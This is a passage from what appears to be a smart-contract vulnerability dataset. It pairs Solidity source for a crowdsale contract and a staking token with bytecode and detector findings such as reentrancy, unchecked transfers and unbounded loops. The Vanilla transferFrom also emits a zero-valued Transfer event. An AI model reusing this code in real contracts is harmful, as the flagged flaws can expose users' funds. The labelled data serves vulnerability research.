6f766572666c6f770000815250610f92565b6000806114b283856119bd565b9050838110156110835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b600061150e61123a565b9050600061151c8383611617565b3060009081526002602052604090205490915061153990826114a5565b30600090815260026020526040902055505050565b60075461155b9083611463565b60075560085461156b90826114a5565b6008555050565b600080808061158c60646115868989611617565b9061125d565b9050600061159f60646115868a89611617565b905060006115b7826115b18b86611463565b90611463565b9992985090965090945050505050565b60008080806115d68886611617565b905060006115e48887611617565b905060006115f28888611617565b90506000611604826115b18686611463565b939b939a50919850919650505050505050565b60008261162657506000610446565b600061163283856119f5565b90508261163f85836119d5565b146110835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b80356116a181611a72565b919050565b6000602082840312156116b7578081fd5b813561108381611a72565b6000602082840312156116d3578081fd5b815161108381611a72565b600080604083850312156116f0578081fd5b82356116fb81611a72565b9150602083013561170b81611a72565b809150509250929050565b60008060006060848603121561172a578081fd5b833561173581611a72565b9250602084013561174581611a72565b929592945050506040919091013590565b60008060408385031215611768578182fd5b823561177381611a72565b946020939093013593505050565b60006020808385031215611793578182fd5b823567ffffffffffffffff808211156117aa578384fd5b818501915085601f8301126117bd578384fd5b8135818111156117cf576117cf611a5c565b8060051b604051601f19603f830116810181811085821117156117f4576117f4611a5c565b604052828152858101935084860182860187018a1015611812578788fd5b8795505b8386101561183b5761182781611696565b855260019590950194938601938601611816565b5098975050505050505050565b600060208284031215611859578081fd5b813561108381611a87565b600060208284031215611875578081fd5b815161108381611a87565b600060208284031215611891578081fd5b5035919050565b6000806000606084860312156118ac578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f1578581018301518582016040015282016118d5565b818111156119025783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199c5784516001600160a01b031683529383019391830191600101611977565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d0576119d0611a46565b500190565b6000826119f057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0f57611a0f611a46565b500290565b600082821015611a2657611a26611a46565b500390565b6000600019821415611a3f57611a3f611a46565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011129bca592b8f957c5b70a120978a7e1fb49707d44cbbdb98a8d12269d28e6064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,307 |
0x4d61ff5bf098e5a960ff0172067fda3e652be901
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenInterface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint256 _value) external;
function addPrivateSaleBuyer(address buyer,uint value) external;
function addPreSaleBuyer(address buyer,uint value) external;
function addPrivateSaleEndDate(uint256 endDate) external;
function addPreSaleEndDate(uint256 endDate) external;
function addICOEndDate(uint256 endDate) external;
function addTeamAndAdvisoryMembers(address[] members) external;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
contract FeedCrowdsale is Ownable{
using SafeMath for uint256;
// The token being sold
TokenInterface public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
uint256 public ratePerWei = 11905;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public weiRaisedInPreICO;
uint256 TOKENS_SOLD;
uint256 maxTokensToSaleInPrivateSale;
uint256 maxTokensToSaleInPreICO;
uint256 maxTokensToSale;
uint256 bonusInPrivateSale;
bool isCrowdsalePaused = false;
uint256 minimumContributionInPrivatePhase;
uint256 minimumContributionInPreICO;
uint256 maximumContributionInPreICO;
uint256 maximumContributionInMainICO;
uint256 totalDurationInDays = 112 days;
uint256 decimals = 18;
uint256 hardCap = 46200 ether;
uint256 softCapForPreICO = 1680 ether;
address[] tokenBuyers;
mapping(address=>uint256) EthersSentByBuyers;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, address _wallet, address _tokenAddress) public
{
require(_startTime >=now);
require(_wallet != 0x0);
startTime = _startTime;
endTime = startTime + totalDurationInDays;
require(endTime >= startTime);
owner = _wallet;
maxTokensToSaleInPrivateSale = 100000000 * 10 ** uint256(decimals);
maxTokensToSaleInPreICO = 200000000 * 10 ** uint256(decimals);
maxTokensToSale = 550000000 * 10 ** uint256(decimals);
bonusInPrivateSale = 100;
minimumContributionInPrivatePhase = 168 ether;
minimumContributionInPreICO = 1.68 ether;
maximumContributionInPreICO = 1680 ether;
maximumContributionInMainICO = 168 ether;
token = TokenInterface(_tokenAddress);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
function determineBonus(uint tokens, uint amountSent, address sender) internal returns (uint256 bonus)
{
uint256 timeElapsed = now - startTime;
uint256 timeElapsedInDays = timeElapsed.div(1 days);
//private sale (30 days)
if (timeElapsedInDays <30)
{
require(amountSent>=minimumContributionInPrivatePhase);
bonus = tokens.mul(bonusInPrivateSale);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInPrivateSale);
token.addPrivateSaleBuyer(sender,tokens.add(bonus));
}
//break
else if (timeElapsedInDays >=30 && timeElapsedInDays <51)
{
revert();
}
//pre-ico/presale
else if (timeElapsedInDays>=51 && timeElapsedInDays<72)
{
require(amountSent>=minimumContributionInPreICO && amountSent<=maximumContributionInPreICO);
if (amountSent>=1.68 ether && amountSent < 17 ether)
{
bonus = tokens.mul(5);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInPreICO);
}
else if (amountSent>=17 ether && amountSent < 169 ether)
{
bonus = tokens.mul(10);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInPreICO);
}
else if (amountSent>=169 ether && amountSent < 841 ether)
{
bonus = tokens.mul(15);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInPreICO);
}
else if (amountSent>=841 ether && amountSent < 1680 ether)
{
bonus = tokens.mul(20);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInPreICO);
}
//adding to pre ico sale for soft cap refunding
if (EthersSentByBuyers[sender] == 0)
{
EthersSentByBuyers[sender] = amountSent;
tokenBuyers.push(sender);
}
else
{
EthersSentByBuyers[sender] = EthersSentByBuyers[sender].add(amountSent);
}
weiRaisedInPreICO = weiRaisedInPreICO.add(amountSent);
token.addPreSaleBuyer(sender,tokens.add(bonus));
}
//break
else if (timeElapsedInDays>=72 && timeElapsedInDays<83)
{
revert();
}
//main ico
else if(timeElapsedInDays>=83)
{
require(amountSent<=maximumContributionInMainICO);
bonus = 0;
}
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(isCrowdsalePaused == false);
require(validPurchase());
require(TOKENS_SOLD<maxTokensToSale && weiRaised<hardCap);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(ratePerWei);
uint256 bonus = determineBonus(tokens,weiAmount,beneficiary);
tokens = tokens.add(bonus);
require(TOKENS_SOLD.add(tokens)<=maxTokensToSale);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary,tokens);
emit TokenPurchase(owner, beneficiary, weiAmount, tokens);
TOKENS_SOLD = TOKENS_SOLD.add(tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
owner.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
/**
* function to change the rate of tokens
* can only be called by owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner {
ratePerWei = newPrice;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner {
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
**/
function resumeCrowdsale() public onlyOwner {
isCrowdsalePaused = false;
}
/**
* Remaining tokens for sale
**/
function remainingTokensForSale() public constant returns (uint) {
return maxTokensToSale.sub(TOKENS_SOLD);
}
function getUnsoldTokensBack() public onlyOwner
{
uint contractTokenBalance = token.balanceOf(address(this));
require(contractTokenBalance>0);
token.transfer(owner,contractTokenBalance);
}
/**
* Refund the tokens to buyers of presale if soft cap not reached
**/
function RefundToBuyers() public payable onlyOwner {
//require(now > startTime.add(72 days) );
require(weiRaised<softCapForPreICO);
require(msg.value>=weiRaisedInPreICO);
for (uint i=0;i<tokenBuyers.length;i++)
{
uint etherAmount = EthersSentByBuyers[tokenBuyers[i]];
if (etherAmount>0)
{
tokenBuyers[i].transfer(etherAmount);
EthersSentByBuyers[tokenBuyers[i]] = 0;
}
}
}
/**
* Add the team and advisory members
**/
function addTeamAndAdvisoryMembers(address[] members) public onlyOwner {
token.addTeamAndAdvisoryMembers(members);
}
/**
* view the private sale end date and time
**/
function getPrivateSaleEndDate() public view onlyOwner returns (uint) {
return startTime.add(30 days);
}
/**
* view the presale end date and time
**/
function getPreSaleEndDate() public view onlyOwner returns (uint) {
return startTime.add(72 days);
}
/**
* view the ICO end date and time
**/
function getICOEndDate() public view onlyOwner returns (uint) {
return startTime.add(112 days);
}
/**
* set the private sale end date and time
**/
function setPrivateSaleEndDate(uint256 timestamp) public onlyOwner {
token.addPrivateSaleEndDate(timestamp);
}
/**
* set the pre sale end date and time
**/
function setPreSaleEndDate(uint256 timestamp) public onlyOwner {
token.addPreSaleEndDate(timestamp);
}
/**
* set the ICO end date and time
**/
function setICOEndDate(uint timestamp) public onlyOwner {
token.addICOEndDate(timestamp);
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302a10d87811461013d578063047fe8b314610164578063117ddaf9146101795780631379c6e01461018e5780633197cbb6146101a35780634042b66f146101b857806342f0ca0d146101cd57806343e91384146101e557806346134e33146101fd5780636786ed0e1461021257806378e979251461022a57806378f1a5ce1461023f5780638da5cb5b146102945780639b39f9bf146102c55780639d5c6e20146102da578063a8351c03146102f2578063bc7c322c14610307578063bfd431d11461031c578063ec8ac4d814610324578063ecb70fb714610338578063f2fde38b14610361578063f6a60d8914610382578063fc0c546a14610397575b61013b336103ac565b005b34801561014957600080fd5b50610152610582565b60408051918252519081900360200190f35b34801561017057600080fd5b5061013b6105b5565b34801561018557600080fd5b50610152610713565b34801561019a57600080fd5b50610152610719565b3480156101af57600080fd5b50610152610747565b3480156101c457600080fd5b5061015261074d565b3480156101d957600080fd5b5061013b600435610753565b3480156101f157600080fd5b5061013b6004356107eb565b34801561020957600080fd5b50610152610868565b34801561021e57600080fd5b5061013b600435610896565b34801561023657600080fd5b506101526108b2565b34801561024b57600080fd5b506040805160206004803580820135838102808601850190965280855261013b953695939460249493850192918291850190849080828437509497506108b89650505050505050565b3480156102a057600080fd5b506102a961096e565b60408051600160a060020a039092168252519081900360200190f35b3480156102d157600080fd5b5061015261097d565b3480156102e657600080fd5b5061013b600435610996565b3480156102fe57600080fd5b5061013b610a13565b34801561031357600080fd5b50610152610a39565b61013b610a3f565b61013b600160a060020a03600435166103ac565b34801561034457600080fd5b5061034d610b61565b604080519115158252519081900360200190f35b34801561036d57600080fd5b5061013b600160a060020a0360043516610b69565b34801561038e57600080fd5b5061013b610bfd565b3480156103a357600080fd5b506102a9610c20565b60008080600160a060020a03841615156103c557600080fd5b600c5460ff16156103d557600080fd5b6103dd610c2f565b15156103e857600080fd5b600a546007541080156103fe5750601354600554105b151561040957600080fd5b60045434935061042090849063ffffffff610c5f16565b915061042d828486610c95565b905061043f828263ffffffff6110b116565b9150600a54610459836007546110b190919063ffffffff16565b111561046457600080fd5b600554610477908463ffffffff6110b116565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050506040513d602081101561051357600080fd5b505060005460408051858152602081018590528151600160a060020a038089169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600754610571908363ffffffff6110b116565b60075561057c6110c0565b50505050565b60008054600160a060020a0316331461059a57600080fd5b6002546105b090625eec0063ffffffff6110b116565b905090565b60008054600160a060020a031633146105cd57600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561063357600080fd5b505af1158015610647573d6000803e3d6000fd5b505050506040513d602081101561065d57600080fd5b505190506000811161066e57600080fd5b60015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b1580156106e457600080fd5b505af11580156106f8573d6000803e3d6000fd5b505050506040513d602081101561070e57600080fd5b505050565b60065481565b60008054600160a060020a0316331461073157600080fd5b6002546105b0906293a80063ffffffff6110b116565b60035481565b60055481565b600054600160a060020a0316331461076a57600080fd5b600154604080517f5d121289000000000000000000000000000000000000000000000000000000008152600481018490529051600160a060020a0390921691635d1212899160248082019260009290919082900301818387803b1580156107d057600080fd5b505af11580156107e4573d6000803e3d6000fd5b5050505050565b600054600160a060020a0316331461080257600080fd5b600154604080517fe40d8fc3000000000000000000000000000000000000000000000000000000008152600481018490529051600160a060020a039092169163e40d8fc39160248082019260009290919082900301818387803b1580156107d057600080fd5b60008054600160a060020a0316331461088057600080fd5b6002546105b09062278d0063ffffffff6110b116565b600054600160a060020a031633146108ad57600080fd5b600455565b60025481565b600054600160a060020a031633146108cf57600080fd5b6001546040517f78f1a5ce000000000000000000000000000000000000000000000000000000008152602060048201818152845160248401528451600160a060020a03909416936378f1a5ce9386938392604490920191818601910280838360005b83811015610949578181015183820152602001610931565b5050505090500192505050600060405180830381600087803b1580156107d057600080fd5b600054600160a060020a031681565b60006105b0600754600a546110fd90919063ffffffff16565b600054600160a060020a031633146109ad57600080fd5b600154604080517fc641aaca000000000000000000000000000000000000000000000000000000008152600481018490529051600160a060020a039092169163c641aaca9160248082019260009290919082900301818387803b1580156107d057600080fd5b600054600160a060020a03163314610a2a57600080fd5b600c805460ff19166001179055565b60045481565b600080548190600160a060020a03163314610a5957600080fd5b60145460055410610a6957600080fd5b600654341015610a7857600080fd5b600091505b601554821015610b5d5760166000601584815481101515610a9a57fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120549150811115610b52576015805483908110610ad657fe5b6000918252602082200154604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610b16573d6000803e3d6000fd5b50600060166000601585815481101515610b2c57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020555b600190910190610a7d565b5050565b600354421190565b600054600160a060020a03163314610b8057600080fd5b600160a060020a0381161515610b9557600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610c1457600080fd5b600c805460ff19169055565b600154600160a060020a031681565b60008060006002544210158015610c4857506003544211155b915050341515818015610c585750805b9250505090565b600080831515610c725760009150610c8e565b50828202828482811515610c8257fe5b0414610c8a57fe5b8091505b5092915050565b600254600090420381610cb1826201518063ffffffff61110f16565b9050601e811015610dcf57600d54851015610ccb57600080fd5b600b54610cdf90879063ffffffff610c5f16565b9250610cf283606463ffffffff61110f16565b600854909350610d1a610d0b888663ffffffff6110b116565b6007549063ffffffff6110b116565b1115610d2557600080fd5b600154600160a060020a0316634de8a79985610d47898763ffffffff6110b116565b6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b158015610db257600080fd5b505af1158015610dc6573d6000803e3d6000fd5b505050506110a8565b601e8110158015610de05750603381105b15610dea57600080fd5b60338110158015610dfb5750604881105b1561107157600e548510158015610e145750600f548511155b1515610e1f57600080fd5b6717508f1956a800008510158015610e3e575067ebec21ee1da4000085105b15610e9057610e5486600563ffffffff610c5f16565b9250610e6783606463ffffffff61110f16565b600954909350610e80610d0b888663ffffffff6110b116565b1115610e8b57600080fd5b610f6b565b67ebec21ee1da400008510158015610eb05750680929589c998104000085105b15610ec657610e5486600a63ffffffff610c5f16565b680929589c99810400008510158015610ee75750682d97383430e784000085105b15610efd57610e5486600f63ffffffff610c5f16565b682d97383430e78400008510158015610f1e5750685b12aefafa8040000085105b15610f6b57610f3486601463ffffffff610c5f16565b9250610f4783606463ffffffff61110f16565b600954909350610f60610d0b888663ffffffff6110b116565b1115610f6b57600080fd5b600160a060020a0384166000908152601660205260409020541515610ff657600160a060020a03841660008181526016602052604081208790556015805460018101825591527f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec47501805473ffffffffffffffffffffffffffffffffffffffff19169091179055611039565b600160a060020a03841660009081526016602052604090205461101f908663ffffffff6110b116565b600160a060020a0385166000908152601660205260409020555b60065461104c908663ffffffff6110b116565b600655600154600160a060020a0316637c43791885610d47898763ffffffff6110b116565b604881101580156110825750605381105b1561108c57600080fd5b605381106110a8576010548511156110a357600080fd5b600092505b50509392505050565b600082820183811015610c8a57fe5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f193505050501580156110fa573d6000803e3d6000fd5b50565b60008282111561110957fe5b50900390565b600080828481151561111d57fe5b049493505050505600a165627a7a7230582091d95e32dce420ecf4608c7987c48a7fce660a8c737c8a652c481d814a96895a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,308 |
0xe0e2ef42664a3e6783e734c1e625a3abf9b19939
|
pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// 'VANILLA' token AND staking contract
// Symbol : VANILLA
// Name : Vanilla Network
// Total supply: 1,000,000 (1 million)
// Min supply : 100k
// Decimals : 18
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Vanilla is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "VANILLA";
string public name = "Vanilla Network";
uint256 public decimals = 18;
uint256 _totalSupply = 1e6 * 10 ** (decimals); // 1,000,000
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(address icoContract) public {
owner = 0xFa50b82cbf2942008A097B6289F39b1bb797C5Cd;
balances[icoContract] = 450000 * 10 ** (18); // 450,000
emit Transfer(address(0), icoContract, 450000 * 10 ** (18));
balances[address(owner)] = 550000 * 10 ** (18); // 550,000
emit Transfer(address(0), address(owner), 550000 * 10 ** (18));
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 deduction = deductionsToApply(tokens);
applyDeductions(deduction);
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(msg.sender, to, tokens.sub(deduction));
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
uint256 deduction = deductionsToApply(tokens);
applyDeductions(deduction);
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(from, to, tokens.sub(tokens));
return true;
}
function _transfer(address to, uint256 tokens, bool rewards) internal returns(bool){
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[address(this)] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[address(this)] = balances[address(this)].sub(tokens);
uint256 deduction = 0;
if(!rewards){
deduction = deductionsToApply(tokens);
applyDeductions(deduction);
}
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(address(this),to,tokens.sub(deduction));
return true;
}
function deductionsToApply(uint256 tokens) private view returns(uint256){
uint256 deduction = 0;
uint256 minSupply = 100000 * 10 ** (18);
if(_totalSupply > minSupply){
deduction = onePercent(tokens).mul(5); // 5% transaction cost
if(_totalSupply.sub(deduction) < minSupply)
deduction = _totalSupply.sub(minSupply);
}
return deduction;
}
function applyDeductions(uint256 deduction) private{
if(stakedCoins == 0){
burnTokens(deduction);
}
else{
burnTokens(deduction.div(2));
disburse(deduction.div(2));
}
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
/********************************STAKING CONTRACT**********************************/
uint256 deployTime;
uint256 private totalDividentPoints;
uint256 private unclaimedDividendPoints;
uint256 pointMultiplier = 1000000000000000000;
uint256 public stakedCoins;
uint256 public totalStakes;
uint256 public totalRewardsClaimed;
bool public stakingOpen;
struct Account {
uint256 balance;
uint256 lastDividentPoints;
uint256 timeInvest;
uint256 lastClaimed;
uint256 rewardsClaimed;
uint256 pending;
}
mapping(address => Account) accounts;
function openStaking() external onlyOwner{
require(!stakingOpen, "staking already open");
stakingOpen = true;
}
function STAKE(uint256 _tokens) external returns(bool){
require(stakingOpen, "staking is close");
// gets VANILLA tokens from user to contract address
require(transfer(address(this), _tokens), "In sufficient tokens in user wallet");
uint256 owing = dividendsOwing(msg.sender);
if(owing > 0) // early stakes
accounts[msg.sender].pending = owing;
uint256 deduction = deductionsToApply(_tokens);
stakedCoins = stakedCoins.add(_tokens.sub(deduction));
accounts[msg.sender].balance = accounts[msg.sender].balance.add(_tokens.sub(deduction));
accounts[msg.sender].lastDividentPoints = totalDividentPoints;
accounts[msg.sender].timeInvest = now;
accounts[msg.sender].lastClaimed = now;
totalStakes = totalStakes.add(_tokens.sub(deduction));
return true;
}
function pendingReward(address _user) external view returns(uint256){
uint256 owing = dividendsOwing(_user);
return owing;
}
function dividendsOwing(address investor) internal view returns (uint256){
uint256 newDividendPoints = totalDividentPoints.sub(accounts[investor].lastDividentPoints);
return (((accounts[investor].balance).mul(newDividendPoints)).div(pointMultiplier)).add(accounts[investor].pending);
}
function updateDividend(address investor) internal returns(uint256){
uint256 owing = dividendsOwing(investor);
if (owing > 0){
unclaimedDividendPoints = unclaimedDividendPoints.sub(owing);
accounts[investor].lastDividentPoints = totalDividentPoints;
}
return owing;
}
function activeStake(address _user) external view returns (uint256){
return accounts[_user].balance;
}
function UNSTAKE() external returns (bool){
require(accounts[msg.sender].balance > 0);
uint256 owing = updateDividend(msg.sender);
if(owing > 0) // unclaimed reward
accounts[msg.sender].pending = owing;
stakedCoins = stakedCoins.sub(accounts[msg.sender].balance);
require(_transfer(msg.sender, accounts[msg.sender].balance, false));
accounts[msg.sender].balance = 0;
return true;
}
function disburse(uint256 amount) internal{
balances[address(this)] = balances[address(this)].add(amount);
uint256 unnormalized = amount.mul(pointMultiplier);
totalDividentPoints = totalDividentPoints.add(unnormalized.div(stakedCoins));
unclaimedDividendPoints = unclaimedDividendPoints.add(amount);
}
function claimReward() external returns(bool){
uint256 owing = updateDividend(msg.sender);
require(owing > 0);
require(_transfer(msg.sender, owing, true));
accounts[msg.sender].rewardsClaimed = accounts[msg.sender].rewardsClaimed.add(owing);
totalRewardsClaimed = totalRewardsClaimed.add(owing);
return true;
}
function rewardsClaimed(address _user) external view returns(uint256 rewardClaimed){
return accounts[_user].rewardsClaimed;
}
}
|
